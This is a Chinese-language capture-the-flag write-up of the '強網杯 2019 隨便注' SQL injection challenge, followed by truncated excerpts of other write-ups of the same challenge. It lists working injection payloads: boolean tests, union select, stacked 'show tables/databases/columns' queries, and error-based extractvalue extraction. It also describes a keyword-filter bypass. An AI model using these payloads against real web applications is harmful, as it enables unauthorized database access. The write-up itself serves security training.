(1)一向不擅長注入,這道注入因為是1分,所以練了練:
判斷是否存在注入:
1' (報錯)
1' and 1=1--+ (回顯正常)
1' and 1=2--+ (回顯不正常)
(2)判斷列:
1' order by 3--+ (三列時報錯,說明只有2列)
(3)使用一下select試試:
1' union select 1,2--+ (發現過濾了很多:select|update|delete|drop|insert|where的大小寫等)
(4)繞過方式:報錯注入或是拼接sql語句或是堆疊注入:
1';show tables--+ (堆疊注入可行)
報錯注入的話可以檢視這篇:
1' and extractvalue(1,concat(0x7e,(user()),0x7e))--+ (可以直接爆出來使用者與當前資料庫,但是還是不能使用select等,試試堆疊注入)
(5)嘗試堆疊注入:設定需要執行的sql語句,使用concat()進行拼接,然後prepare語句用於預備乙個語句,並指定名稱statement_name,以後引用並執行該語句
然後發現對這兩個函式有進行防護,繞過方式,使用大寫即可繞過:
成功拿到flag:
強網杯 2019 隨便注
1 or 1 1 回顯了所有使用者資訊 union select 1,2 得到回顯 return preg match select update delete drop insert where i inject 過濾了 select update delete drop insert where...
強網杯 2019 隨便注
知識點 原理參考堆疊注入詳解 開啟題目,如圖所示 嘗試 1 union select 1,2 發現select被禁 嘗試堆疊注入 查庫 查表 查1919810931114514表的列名 1 show columns from 1919810931114514 這裡表名使用反引號進行包含 應該就是從1...
強網杯 2019 隨便注
題目 開啟後如下,比較典型的一道sql注入題目 輸入1 發現會返回一些資料,所以可以嘗試一下堆疊注入。堆疊注入 試一下,查詢資料庫 1 show databases 發現可以將資料庫都顯示出來,說明可行 再試試查詢表,回顯兩個表 1 show tables 查詢所有表 然後繼續訪問表中的列 1 sh...